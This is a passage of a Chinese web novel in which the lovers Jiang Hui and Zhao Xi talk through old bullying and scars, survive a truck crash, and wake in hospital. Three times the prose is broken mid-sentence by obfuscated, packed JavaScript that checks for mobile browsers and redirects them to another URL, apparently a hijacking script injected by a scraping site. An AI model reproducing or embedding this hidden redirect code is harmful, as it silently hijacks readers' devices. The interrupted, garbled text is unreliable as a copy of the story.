赵熙语气懒散,笑着说,“不过我觉得,哥不太需要我帮忙,你靠自己也可以,甚至你已经快达到了。我的话……只好努努力,爬到能和你比肩的位置了。” 姜洄轻哼一声。 “我刚刚在外面客厅看到一架钢琴……哥,你在学琴吗?” 姜洄犹豫:“嗯,随便学着玩玩,无聊。” “我对乐器还算精通,毕竟大学就是学这个的,”赵熙把玩着他的手,轻轻摩挲过他手腕的那道痕迹,语气却轻快,“感兴趣的话,我教你啊。” “等你烧退了再说。” “好。” 两人无声地抱了一会儿,姜洄道:“你睡吧。” 没人应答。 颈侧的呼吸声绵长,鼻息落在他后颈处,吹过那片肌肤上细小的绒毛。 姜洄忽然觉得有点痒,他微微拉开了点距离,赵熙闭着眼,脸色依然带着发烧的潮红,果然睡着了。 将人塞进被窝里,姜洄小心翼翼给他脱了西装外套,才发现他里面就穿了这一层毛衣——昨晚迷迷糊糊的根本没注意到这些。 怪不得感冒呢。 他无声地做了个凶狠的嗔怪表情,好好帮他把被子盖好了,注意到他手腕上没有带表。 两只手腕都没有。 他明明记得昨天赵熙还戴了,今早出去的时候还在看表——觉得眼熟,所以姜洄特意留意了。 怎么又没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165659|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了? 落在公司了? 犹豫了会儿,姜洄又去卫生间洗了湿毛巾来盖在他额头上。 大概真是烧得不轻,赵熙被他这么折腾也没醒过来,只是眉头皱了皱,在他掖被角时呢喃了一句什么,像是在喊“小叔叔”。 姜洄凑过去,轻声道:“什么?” 赵熙隔了一会儿,才又呢喃了一句:“……哥。” 姜洄眼神复杂地看了他片刻,轻手轻脚离开了卧室。 他翻箱倒柜,在家里找了半天,终于找到了能放花的瓶子,把那束放在茶几上的白山茶装了进去。 其实他没告诉过赵熙,他更喜欢桔梗。 不过从今天开始,他可能更喜欢白山茶了。 本想去抽个烟,想到烟盒放在卧室床头柜里,不想再去把人吵醒,姜洄从客厅的抽屉里拿了包新的。 他去了阳台,十二月,吹着江城呼啸的冷风,感觉被赵熙一堆话冲击得几乎思考不过来的头脑都清醒了许多。 点上烟,回头看了眼卧室的玻璃门,确定人还没醒,姜洄才吸了一口。 赵熙有事瞒着他。 他确定。 刚刚提到系统和任务时赵熙言辞闪烁,明显是有事情还没告诉他。 姜洄直觉这很重要,但是赵熙不想说,他看出来了,念在人病着,脸烧得通红,看着可怜巴巴的,他就没有多问。 分开的这三年,或许已经改变了太多,他不知道这三年赵熙是怎么过来的,不知道他经历了什么,也不知道他到底在瞒着姜洄什么东西。 赵熙已经不是从前那个随口说句谎都能被他一眼看出来的小孩儿了。 他们之间隔着这未曾会过面的三年,隔着时间、空间还有身份……物是人非,莫不如是。 这段感情,真的还能像赵熙所说的那样,回到从前吗? 才抽了两口烟,没一会儿,卧室里忽然传来丁零当啷的声音,像是赵熙下了床。 姜洄听见他声音沙哑地喊人:“哥。” 这就醒了? 匆匆掐灭了烟,姜洄把烟头扔进垃圾桶,扬声道:“我进来,你歇着别动!” 卧室里的声音应声停了。 姜洄想着等味儿散了再进门,然而只又等了一会儿,赵熙再次喊他:“……哥。” 这次声音低了些,像是在委屈。 “……” ……算了。 姜洄匆匆进门,对上/床边挣扎着要起身的人眼神,想。 人在他这里就好。 能好好在一起就已经是奢求了,想那么多干什么? 他被自己的执念困了太多年,因为这执念不肯留在赵熙的世界,又因为这执念,三年里精神饱受折磨……他其实是有过那么一些后悔的,只是一点点。 他不说,没人知道,也没人问。 赵熙的到来,是他意料之外的意外。 他仍然不相信爱,不相信任何人的爱……但他想去尝试着,相信赵熙的爱。 既然已经重逢了,人生不圆满的遗憾得以借机能够补全,还有什么好不满意的呢? 就算余生后半段的所有岁月,赵熙都只能陪伴他一半的时间,也该知足了。 姜洄上前,再次给了他一个拥抱,结结实实的。 赵熙懵了下:“哥?” “没事。”姜洄缓了两秒,松开手,平静道,“喊我干嘛?就是出去喝杯水而已……继续睡你的。” “有事。”赵熙耸了耸鼻子,抬手拉住他的手腕,笃定道,“你抽烟了?” 66.谈心 姜洄:“……” 这怎么闻出来的? 他扯了扯嘴角:“很难闻吗?就半支。” 说着,将赵熙额头上快掉下来的湿毛巾往上扯了扯,捏了捏毛巾一角,嘀咕:“怎么这么快就变热了……你怕不是个暖壶吧?” 他示意赵熙放开自己,将毛巾又拿去冲了一遍水,再次拿出来盖在了赵熙头上。 这期间赵熙任由他摆布着,眼睛里还带着发烧时朦胧的水光:“你不开心了?” 他对姜洄的情绪感知是真的很敏锐。 但姜洄否认:“没有。” 已经在心里决定好的事情,就不用说出来了再惹赵熙苦恼了。 既然他不想说,姜洄就不问。 赵熙沉默了一会儿:“我记得你以前,不抽烟。” 姜洄唇边的弧度落下去了一些,平淡道:“我一直抽,去你那边的时候,只是刚好戒烟了。” “那怎么又抽上了?” 姜洄:“最近烦心事比较多,偶尔一根,解压。” 见赵熙还是睁着那双水汪汪的眼看着他不说话,姜洄有些受不住。 他伸手盖住赵熙的眼神,叹气:“睡吧你,我自己有分寸。” 对方长长的眼睫在他掌心微微煽动,带来一片酥麻的痒意。 赵熙拉下他的手,声音闷闷的:“哥今天有工作吗?” 姜洄摇头。 “那别出去了,陪我睡一会儿。”他沙哑着嗓子道,“都已经给你暖好被窝了……行吗?” 都这么说了,姜洄哪里还有拒绝的道理。 他顺手把桌上的平板关了,脱了大衣和眼镜上床,听见赵熙问他:“你刚刚在家里看综艺吗?” “嗯,我们要上的那个综艺。”姜洄随口道。 “……看它干什么?” 有些奇怪地瞥了他一眼,姜洄道:“不是签了合约要营业,还要上综艺吗?总要看看这综艺往期里的‘夫妻’是怎么做的,有错误就规避,按正确的方向来。” 赵熙张了张口,干巴巴道:“哦。” 姜洄躺下来,犹豫了两秒,伸手抱住了他的腰身,轻声道:“你手脚冷得很,抱着暖一点。” 赵熙一怔,迅速抬手抱了回来:“好。” 两人好像又回到了当初同床共枕的那段时间,被子下的身体紧紧靠着,连呼吸也缠在一起,像剪不断的线。 “赵熙。” “嗯,怎么了。” “西西。” “……嗯?” “……没事,就是喊喊。” 赵熙沉默着,抱紧了箍住他腰身的手:“好,你随便喊。” “我头发太长了,改天有空,陪我去剪个头发吧。”姜洄低声道。 “……好。”赵熙说,“不过现在这样也很好看。” “是吗?” “嗯。” “……那,有空再说吧。” “嗯。” 赵熙踌躇两秒,手指不轻不重落在了他肩胛边的那个疤痕上,隔着一层衣料,动作又轻其实没什么触感:“不过……这个,要是不喜欢的话,要不要去做手术去掉?” 他记得国内现在的祛疤手术技术挺不错的。 姜洄脸色微微一变,抬眼看他:“你嫌弃?” 赵熙一愣:“怎么可能?” 姜洄也意识到是自己反应太大了,眼皮又懒洋洋落下来了些:“不去。” 赵熙默了默,声音低哑:“哥,之前在微信里,你说我不了解真实的你是什么样的,那你现在能不能告诉我,真实的你是什么样的?” 怎么突然问这个? 姜洄清了清嗓子,漫不经心道:“懒惰、自私、阴暗,还……满嘴谎言,一身残缺。” 前面说得还算轻松,甚至带几分笑意,说到最后一句,声音却渐渐低下来,尾音消散在了空气里。 “是人就有这些特点,没什么大惊小怪的。我也有。” 赵熙却反应平平:“至于一身残缺……” 他知道姜洄指的是什么,稍一思索,好像不知道自己在说什么惊天地的话一样,语气平静:“如果你愿意,我可以把左边这只眼睛挖掉,正好和你对称了。” 说着,伸手落在自己的左眼眼皮上游移了两秒,似乎真的在考虑下手的可行性。 “……” 姜洄当然是拒绝。 他无言地抱住了赵熙的腰身,半天不知道说什么,拉下赵熙那只手,嘴里好半天才挤出一个字:“蠢。” 赵熙笑笑,也没坚持,也回抱住了他,低声道:“你的眼睛,是在那时候受伤的?” 姜洄缓缓眨了下眼,没看他。 他极力让自己表现得浑不在意:“你不是知道吗?我初中毕业要考试的前一天,因为拒绝了他们要我递小抄的邀请,被人围堵,把一群混混打进了医院,眼睛就是那时候受的伤。” “不过你可能不知道,其实在这之前,他们霸凌了我好几年,”姜洄声音极轻,甚至带着漫不经心的笑,“可笑我居然还想过,如果考上了高中,或许就能摆脱他们了,我还想过到底怎么说服姜顺给我高中学费,或者我暑假找一家黑店去打个童工……再怎么样,也能凑够学费了。” “我以为……”姜洄顿了顿,一瞬间的声音几不可闻,含着几分难言的情绪,连眼眶也蔓上热意,“我以为我能做到的,我以为只要考完试,一切就好了……你说我是不是很天真?很可笑?” 这些旧事他已经藏在心底太多年,就连澄清,也只是一笔带过,不想多说,那会有种让他亲自揭开陈年的腐朽伤口、再往上面撒盐的痛苦。 可是在赵熙这里,姜洄已经没有任何秘密。 他的过去,未来,现在,都有对方的参与,他们甚至曾是一个人,没有人比赵熙更能体会他的感受。 姜洄从不是一个容易落泪的人,可是自从重逢,在赵熙面前,他的泪意好像总是来得莫名其妙。 赵熙抱紧他,唇瓣贴了贴他的额角,冷静道:“不好笑,一点也不。” 他声音轻柔:“我在这里,哥。别怕,我来了,你有我了,以后不会有人欺负你。” 短短两句,姜洄闭了闭眼,心头哽咽难言。 他很想说,你是什么了不得的人物吗,有你在就没人敢欺负我? 但哪怕只是一句漂亮空话,他听着其实也很舒心。 所以反驳的语句冰块一样硬邦邦哽在喉咙里,一字也吐不出来了。 泪珠无声无息从眼角滑落,姜洄低下头,不想让赵熙看到,半晌才找回自己的嗓子,带着几分沉重的鼻音:“睡吧。” 赵熙又亲了亲他的眼皮,吻过他的泪水,哑声道:“好,你也睡会儿。” 姜洄感觉好像又回到了刚谈恋爱那会儿,和赵熙干什么都粘糊,哪怕单纯躺床上聊天,毫无营养的话也能胡七扯八地说一大堆。 他的心在这段不长不短的对话里慢慢安定下来,将脑袋也靠过去了些。 窗外还在下雪,只是没有昨天那样大了,刺目的白光被帘子遮了一半,落在床尾的被子上,这一刻忽然也显得柔和。 书桌边的暖炉烧得正旺,发出细碎的劈啪声。 真好。 ……要是能这样一辈子过下去,就更好了。 迷迷糊糊间,好像有个轻飘飘柔乎乎的东西落在了他眉心。姜洄拧眉两秒,想到身侧的人是赵熙,瞬间又舒展开了。 他把脑袋埋进赵熙怀里,给自己找了个好位置,像以前无数个彼此依靠着度过的夜晚那样,舒舒服服睡过去了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168963|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >…… 赵熙在姜洄这间公寓里住了大约近两周的时间,有姜洄照料,他的病在第二天就退了烧,好了一大半。 在此期间,姜洄还去楼下小区的超市里给他添置了一些临时生活用品。 因为赵熙病着不好跟他一起,所以姜洄只打算暂时买着充数,以后等赵熙有空了,再买他喜欢的也不迟。 赵熙病好之后便又忙了起来,基本早上很早就起,也不会惊动姜洄,晚上很晚才会回来,姜洄有时在家等到睡过去,可算明白了小奇口中的工作狂到底有多拼。 他很想告诉赵熙,不必要这样努力,哪怕他没有那个名气能站到和自己并肩的位置,姜洄也不会嫌弃他。 可这是赵熙自己的选择,是赵熙自己的人生……他不想干涉。 只是还是会心疼。 有时看着他早出晚归,回来时又是一脸疲倦,姜洄便忍不住想起自己刚入圈的那几年为公司打白工,拼了命地干活,其实和赵熙现在的样子也不相上下。 这样维持了一周左右后,姜洄某天醒来一眨眼发现他又不在身侧,一看微信,见他发消息说早餐做好了放在微波炉里——不免有些郁闷。 这几天日日如此,赵熙早出晚归,走之前都会给姜洄准备早餐,姜洄拒绝了好几次也没办法。 赵熙太了解他的性子,知道他爱睡懒觉,还没和他相认、作为z的时候就天天微信督促他要吃早饭,只是那时候顾忌着彼此身份,姜洄要是阳奉阴违,他也没什么办法。 现在不一样了,他做了早餐,念着他这么忙还惦记着自己的份上,哪怕再困,姜洄也要顶着起床气爬起来把早餐吃了再继续睡。 从卫生间洗漱出来,抓了把略有些凌乱的头发,姜洄拿出微波炉里的面包和三明治,有点烦躁地给赵熙打字:【你住哪?】 赵熙过了好一会儿才回他,大概今天也忙得很:【?】 他丢了一个地址过来,姜洄仔细瞅了瞅,有点眼熟,记得这是江城的另一片富人小区。 咬了一口手中松软喷香的面包,尝到红豆夹心,猜想是赵熙专门挑的他喜欢的口味,姜洄心情又缓和了下来。 他斟酌道:【离你公司好像更近,要不然,你住回去吧?】 又过了十几分钟,赵熙回他:【也行。】 姜洄满意地点点头,等着赵熙顺势发出同居邀请。 但直到他吃完早餐,又躺回床上睡了一觉再起来,聊天框里仍旧空白一片。 对方似乎根本没有这个意图。 姜洄抿唇,有点不爽。 大概是记着要搬回去住,这天赵熙下班要早几个小时,他先回了一趟姜洄的公寓,收拾自己的东西。 ——其实也没什么东西,都是姜洄给他临时添置的用品,赵熙的东西除了衣服,一件也没带过来过。 临别时姜洄板着脸,问:“你没什么要和我说的吗?” 赵熙却眨眨眼,扯下口罩亲了亲他的脸颊:“嗯……注意休息,有什么事打我电话——没事也可以给我发消息。” 就这? 姜洄半天才不情不愿应了一声。 赵熙不提,其实就是还不想让他搬过去,他心里清楚,只是难免不高兴。 赵熙瞒着他的秘密越来越多了。 ……算了,他也时常要去拿药,前段时间的药用完了,今天赵熙走后,也该去拿一趟了。 要是住在一起,赵熙迟早会发现,他如今这么忙,姜洄不太想因为自己的事再让他分神担忧。 就是点小小的抑郁而已,赵熙来了他的世界,治好也只是时间问题。 两人在门口腻歪了好一会儿,等赵熙扶上口罩拖着行李箱要走了,姜洄又拽住他的衣袖,干巴巴道:“……我送你。” 赵熙哑然失笑:“好。” 67.车祸 “你之前说,”姜洄坐上副驾驶,突兀开口,“你每隔一段时间会回去,那能不能带别人回去?” 赵熙:“不能。” 猜到了,但还是忍不住有点失望。 姜洄低头系安全带,哦了一声,面上仍旧平静,没什么情绪的样子。 “这车……” “眼熟吗?”赵熙笑笑,“你之前生日送我那辆,我又买下来了。” 他说得是在另一个世界赵熙过生日的时候送他的那辆劳斯莱斯限量最新款。 姜洄挑眉:“赚钱原来用来买这些来了。” 赵熙但笑不语。 虽然说是姜洄送赵熙,但他不开车很多年了。 姜洄有驾照,只是除了刚成年那两年偶尔自己开开车以外,后面几年火起来了,基本都是坐的保姆车出行,车库里仅有的几辆车堆着生灰,很少有用到的时候。 再后来鲜少一次自己开车,却出了车祸,姜洄嘴上不说,心里却或多或少对车有了点心理阴影。 坐车可以,开车却是万万不行了。 车库里那些车,更是在他回来后全都卖了出去,一辆没留下,出行全靠打滴或者坐工作室的保姆车。 在赵熙那边的时候,他出行都有王叔来包揽,偶尔有王叔不在的时候,赵熙就充当他的司机。 好在因为原主“赵茴”也是出过车祸的人,对于他从不自己动手开车这件事,赵熙从没主动询问过什么。 来了这里,知道姜洄本身也出过一场车祸,就更不可能再说什么了。 两人坐在车上,有一搭没一搭闲聊着,赵熙打开音乐,顺手放了一首自己的歌。 他和姜洄的嗓音很像,但也不是完全一样,更低沉一些,姜洄思索也许是蝴蝶效应的原因,改变了太多赵熙身上本该有的、和他相同的特性。 从前产生这个想法的时候,姜洄心中总有那么几分不得劲,但如今听着,心情却莫名舒畅了许多。 也许是意识到,如今这个世界,他和赵熙,都是原原本本的自己—— 赵熙的出现打破了他的意料,虽说不太明白对方是为何恰好机缘巧合绑定了系统,但既然来了这个世界,不出所料的话,他们也会一直这样继续在一起下去。 很难不让人感到心情愉悦。 姜洄盯着他的侧脸看,盯到人心里毛毛的,微微侧头看了他一眼,眼尾弯了弯:“哥为什么这么看着我?” 他现在叫哥倒是越来越顺口了。 姜洄心中闪过这个念头,又把脑袋转回来,语气轻松:“看你要钱?” “你看不要。” 姜洄笑了一声:“还有多久?” 赵熙看了眼导航:“差不多……半小时?” 离得还挺远。 姜洄有点奇怪:“你怎么还用导航?” 赵熙道:“没定位过从你家到我家怎么走,离得远,导航方便一些。” 姜洄“哦”了一声,正要说什么,赵熙扫了一眼后视镜,语气沉沉:“……有人跟着我们。” ? 姜洄从后视镜里不动声色看去,果然看见一辆银色小轿车不远不近跟在身后,离得不近,看不太清车牌号。 赵熙微微提速,试图甩掉对方,不到片刻,又被追了上来。 姜洄皱眉:“你最近有没有招惹什么仇家?” 赵熙想了想:“没有吧。我一向挺与人为善的。” 姜洄道:“我应该也没有。” “别太紧张,应该是狗仔。” 圈里被跟拍的多了去了,他们如今流量都很高,被跟踪偷拍不是什么稀奇事。 姜洄想想也是,面上的警惕松懈了几分:“没事,拍就拍吧,反正咱们官宣的事也不差那几天。” 赵熙表情略带古怪地看了他一眼,然后又收了回去。 “好。” 赵熙不打算停车,路边闹起来不好看,而且万一对方是什么私生饭,缠上来更麻烦。 他又加速了些,保持在一个可控的最高车速范围,这次将对方甩开了许多。 姜洄赞道:“车技不错。” 赵熙:“以前和余书他们飙过几次车。” 富家子弟,总有些烧钱的娱乐活动,赵熙的车技就这么练起来的。 闲聊间,前方出现了一个十字路口。 眼看着是红灯,赵熙不得不踩了踩刹车,均匀降速。 但车子刚停在路口,姜洄正注意后视镜里的那辆银色小轿车有没有跟上来时,余光扫到了境外,顿时一愣。 赵熙的声音同时和他的话响起。 “那辆车!” “小心!” 一辆大货车从右侧路口径直左拐,朝这边驶来——因为过红绿灯时并未减速,车速不低,在左拐的惯性作用下,车身微微晃荡倾斜—— 它的车身仿佛一座轰然倒塌的大厦,整个朝他们这辆车压了过来。 一切都只发生在电光火石之间,头顶阴影倾覆,一瞬间姜洄大脑空白,曾经车祸的记忆潮水般涌上,激得他手脚发麻,像是灌了水的塑料袋般沉在座位上,此时此刻,竟做不出丝毫反应。 等他回神立刻看向驾驶位的赵熙时,赵熙却比他反应更快,迅速解开安全带,朝他扑过来—— 姜洄已经不知道这一切究竟是怎么发生的了。 一声巨大的倒塌声后,周围尖叫四溢,交通瞬间瘫痪。 只是这些,姜洄都已经无暇顾及。 赵熙抱着姜洄,整个人严严实实护住了他。 姜洄在副驾驶上,眼前一片昏黑,被他盖得动弹不得,已经分不清是货车压下时带来的黑暗还是因为赵熙把他护得太严实。 他失音片刻,听见自己的嗓子发出一声几乎尖锐变形的喊叫,又因为这片空间空气并不流畅,而显得有些沉闷:“赵熙!” 两秒。 “……我在。” 赵熙应了,带着几分笑,只是声音听着有点有气无力。 有什么温热的东西顺着姜洄的脸颊流了下来,姜洄愣愣的,鼻尖嗅到了一股熟悉的铁锈味。 血。 他身上被压得很麻,但一点都不痛。 是赵熙的血! 姜洄伸手想把他从身上推开,又怕因为货车压着,推开反而会让赵熙活动的空间变得更小,伤势更重,反而不敢动了。 他整个人都在不受控制地发抖,像是肺部摄入的空气不够一样,疯狂喘着气,连声音也变了调:“你流血了……你……” “我没事。”赵熙声音很低,他脑袋还能动,低头看了眼姜洄。 不过太黑了,眼前一片晕乎,赵熙其实什么也看不清。 但为了安抚姜洄,他还是保持着语气的镇定,挨着他额头落了一个吻,轻声道:“我没事,别怕。” “有我在呢,小叔叔……哥,这次我护着你,别怕。” 他都这样了还操心自己? 姜洄眼里的泪疯狂分泌,不断沁出又打湿赵熙胸前的毛衣,他被压在座椅上,抬头都困难,根本看不清赵熙的脸,更别提去看他的伤势。 “你别说话了。”姜洄声音颤抖,“你疯了吗?这种时候还管我?” “要是不管你,”赵熙歇了歇,声音有点嘶哑,“咱俩好像都得压成肉泥。” “不如保住一个再说嘛。”他喘了口气,说话声音很轻,“哥,别哭了……你看我都这样了,就别骂我了……” 姜洄说不出话来,半晌,察觉到他的安静,心一慌:“不准睡!” “……我努力。” 姜洄也顾不上哭了,脑子转得飞快,开始扯着他聊天,短短几分钟说了一堆有的没的。 赵熙倒是很给面子,一一应了,只是声音越来越低。 “赵熙!” “……” 姜洄咬牙切齿:“——你要是敢睡过去,我就恨你一辈子。” 半晌。 “好凶啊。”赵熙低声道,“我费尽千辛万苦找到你,哥怎么这样对我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176054|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他甚至还在笑。 “我不管,你不准睡,不然你死了,我立刻去找新欢,去夜店一次性点二十个男模……死了也要把你气活了。” “……”赵熙忍不住笑了。 他压着姜洄,发笑时胸腔贴着姜洄的脸微微震颤着,像是心跳在和他共鸣。 直到一阵咳嗽声打断了这阵笑。 姜洄又闻到了血的味道。 不知道过了多久,也许几分钟,又或许半小时,姜洄已经记不清时间了。 从两人被压得不太严重的副驾驶被救出来,再到姜洄一瘸一拐跟着上了救护车,护士帮他暂时包扎处理了腿上被玻璃爆裂的一瞬间炸穿的伤,最后到被人拦在急救室外…… 姜洄看似仍旧冷静的外表终于轰然崩塌,盯着头顶“抢救中”的三个红色大字,看着周围急色匆匆的医护人员,耳朵里一片嗡鸣。 他浑身都在抖,抖到控制不住站立的姿势,只能缓缓靠着墙壁滑坐在地,对来往目光怜悯的人们视若无睹,脑子里只剩下赵熙被救出来的时候闭着眼,毫无生气、满头鲜血的样子。 他一遍遍地回忆,一遍遍地后悔,为什么没有反应过来? 为什么没有护住赵熙? 为什么那种时候他在发呆? …… 他的大衣太碍事,被从车里拉出来的时候就脱了,现在身上只穿着一件衬衫,在寒冬腊月的医院里,身上阴冷得不像话。 鼻腔里流淌下温热的血液,一点点滴落在他灰扑扑的衣料上,短暂唤醒了姜洄的神智。 面前出现了一张熟悉的脸,带着急切地说着什么,嘴唇一张一合,但姜洄一个字都听不到。 直到此时姜洄才后知后觉地意识到,他又耳鸣了。 愣愣看了片刻,他扶着墙勉强站了起来,被扶着在椅子上重新坐下,接过对方递过来的几张纸,胡乱抹掉了鼻血。 但越抹越多。 李哥明显晃了,比比划划地跟他表示要去找医生,也不管他有没有看懂,起身就要窜出去—— 被姜洄拉住了。 他表情平淡,甚至神色冷静得不正常。 “不用去了。” 李哥一愣:“你……你耳鸣好了?” 姜洄没回答,他伸手摸了摸放在一旁的大衣口袋,摸到了口袋里已经碎了屏的手机。 李哥意识到什么,把自己的手机打开递了过去。 姜洄没接,说:“我听不到,你要说什么,用便签告诉我。” 此话一出,李哥便不用问上一个问题了,他劈里啪啦打字:我一听说你们车祸就过来了,赵熙在里面? 姜洄点点头。 李哥:赵熙经纪人应该也快到了……到底怎么回事?怎么会又发生车祸? 姜洄垂眼:“大货车侧翻了……” 话没说完,李哥已经又把手机屏幕递过来:意外? 姜洄皱眉:“我不知道。在此之前,我们正好发现有辆银色小轿车在跟踪我们。但我没看见车牌号。” 李哥便明白了,看姜洄的意思,不太相信这是一场意外。 手段太拙劣太明显,甚至和姜洄上次的车祸过程几乎一模一样,要让他相信是意外,不可能。 而且…… 想到上次的热搜也是盛兴的手笔,姜洄眼神一沉。 这是热搜没把他拉下马,要跟他鱼死网破来了? 要真是这样,就是他拖累赵熙了。 李哥:我去查。 姜洄点头:“辛苦了。有消息立刻通知我。” 他说着,低头堵了一下鼻血,眼前有那么两秒是一片黑。 李哥:你这真不需要叫个医生? 姜洄道:“习惯就好,以前也流过。” 李哥担忧地看了他一眼,他指的明明不止是鼻血。 这人自己腿上还有伤,脸色苍白成这样,还耳鸣失聪流鼻血,看着就不让人放心。 姜洄似乎看出他的意思,摇头,低声道:“我要守着他。” 68.苏醒 姜洄这一守,就守了整整三天。 当晚抢救之后,医生就说脱离了生命危险,但人一直没醒。 赵熙的经纪人和助理是后半小时赶到的,对此错愕不已,不断追问究竟发生了什么,但姜洄无力再一一解释。 李哥离开前到底是不放心他,带了医生来看他的伤,确认没什么事后重新包扎了一下。 姜洄的耳鸣也在医生说脱离危险之后终于缓缓恢复了过来。 他守了赵熙三天,这三天形影不离,亲自照料,连赵熙的经纪人和助理都对此叹为观止。 警方来找他做过一次笔录,姜洄如实叙述,或许是他看着精神状态实在不太好,警方也没有多作打扰。 赵熙主要是腿部和后背的脑袋的伤,警方和姜洄提起来时还十分唏嘘:“车辆驾驶座的变形很严重,你们是在副驾驶被救出来的?要是在驾驶座,恐怕就不是这种伤势了。” 姜洄无言地看向病床上躺着的人,眉眼沉郁,没有接话。 车祸的事情瞒不过大众,姜洄当时满心满眼都是赵熙的伤势,根本没在意有没有拍摄,当天车祸的照片就上了头条,后来两方经纪人再怎么撤热搜拦截照片,也挡不住这事被传出去。 双方粉丝闹了很久,想知道自家哥哥现在是不是平安,都被星辉和姜洄的工作室安抚了下去。 余书和宋因雯几人来过好几次,但看护的活儿没敢和姜洄抢,只是得空送点东西过来,呆了一会儿,又在房间死寂的安静下坐立难安地离开了。 唐尺原本也想过来,但被姜洄劝回去了,没必要这么兴师动众,是赵熙住院又不是他住院。 赵熙醒时,姜洄刚被余书劝去买了个午饭,房间里就余书一个人。 姜洄吃不下东西,只买了两个面包,匆匆转了一圈又瘸着腿回来了,推门进来,正好对上病床上赵熙的目光。 他一愣,踏进去的动作忽然顿住了。 余书没注意到开门的动静,见赵熙睁眼,立刻站起身,惊喜道:“你醒了?” “有没有哪里不舒服?我按铃叫医生——” 见他摇头,目光仍旧定在自己身后,余书也扭头看了眼:“啊,姜老师你回来了?” 姜洄僵硬地“嗯”了一声。 赵熙作势要坐起来,不等余书反应,姜洄飞快丢下手里的面包,上前把人扶住了。 手僵在半空的余书:“……” 不是,你闪电侠啊? 姜洄给他身后垫了个靠枕,启唇正要说话,赵熙先开了口。 他声音嘶哑,却一下震得整个病房都安静了。 “你是谁?” “……” 姜洄睁大眼睛,瞳孔地震。 余书震惊,看着赵熙陌生的眼神,刚坐下去的屁股又弹起来了:“卧槽你失忆了?” 姜洄张了张嘴,脑子被震得嗡嗡响,一时不知道该说什么:“我——” 赵熙却又笑了,眉眼狡黠:“开玩笑的,哥。” 姜洄哑然失语。 “好了,你威胁我要找男模的仇,我报回来了。”赵熙声音低了些,用仅能动的右手扯了扯他的衣袖,眨了下眼,“谁让你那时候了还凶我,我开个玩笑,哥不会介意吧?” 姜洄唇瓣蠕动了下,手撑着病床的边沿低下头去,半晌没说话。 他听不见赵熙在说什么。 又耳鸣了。 缓了两秒,赵熙发现不对劲,扯他袖子的手重了几分力道:“哥?” 姜洄嘴唇苍白,没有抬头,他不太想被赵熙看到这种样子,拂开了对方的手:“我……我去个卫生间。” 但没能走成,刚出去两步,赵熙又牵住他的衣摆,或许是因为动作幅度太大,露出了一种隐约吃痛的表情。 姜洄才犹豫了一秒,就被他拽了回去,赵熙抓着他的手,委屈巴巴道:“哥,我开玩笑的……我没忘,没有忘记你,真的,哥。我忘了谁也不会忘了你的。对不起……你别不高兴。” 余书深感辣眼,捂着眼睛转过头道:“你们继续,我看我该上个厕所。” 病房里谁都没理他,一个是听不到,一个是没注意。 姜洄盯着他的唇瓣一张一合,正有些费力地理解着他在说些什么。 赵熙终于从他努力聚焦的瞳孔里看出了几分不对劲。 他愣住了:“你怎么了?” 这句话姜洄读懂了。 他摇摇头:“没事。” 赵熙恍若未闻,伸手在他耳边打了个响指。 姜洄没有被吓一跳,只是好像被空气里微微掀起的凉风刮到了眼皮,转头去看他悬在空中的手指,眼神茫然,像是根本不知道他干了什么。 赵熙眉头皱得死紧,感觉后脑勺的伤口都要裂开了:“你听不到?” 姜洄缓缓眨了下眼,耳鸣消退了些,这句话他听到了。 他正要说话,门口医生却带着护士进来了,身后跟着的还有李哥和赵熙的助理小奇。 话题中断,姜洄被迫站到了一边,眼神却始终黏在赵熙身上,身边在和李哥跟他说话,姜洄耳边嗡嗡的,听不太清晰,怕赵熙看到担心,只是摇头示意一会儿再说。 医生检查了会儿赵熙的身体后,松下神情道:“醒了就问题不大,这段时间忌油腻辛辣,要住一段时间的院,等伤势差不多了回去也得按时上药……” 这期间,跟进来的几个护士目光在他们身上兜来转去的,很是惊奇,因为是在室内,两人都没带口罩,姜洄知道他们是认出来自己了,惊讶有人长得这么像,或许还在猜测他们之间的关系。 但私人医院的职工,职业素养还是有的,再好奇他们也不会凑上来打听。 送走了一群乌泱泱的医护人员,房间里只剩四人,小奇红着眼眶道:“赵哥你可吓死我们了,特别是姜哥,这三天眼都没合上过。幸好你没事。” 姜洄道:“没那么夸张。”还是闭过眼的,只是睡得不多。 见他搭话,赵熙把视线往他这里轻轻一瞟:“你耳朵好了?” 小奇茫然接话:“什么耳朵好了?” 姜洄默了默:“只是耳鸣了一下。” “你又耳鸣了?!”李哥提声道,“怎么回事?” “……又?” 姜洄不知为何没敢看他,低声制止李哥道:“一点点,已经好了。” 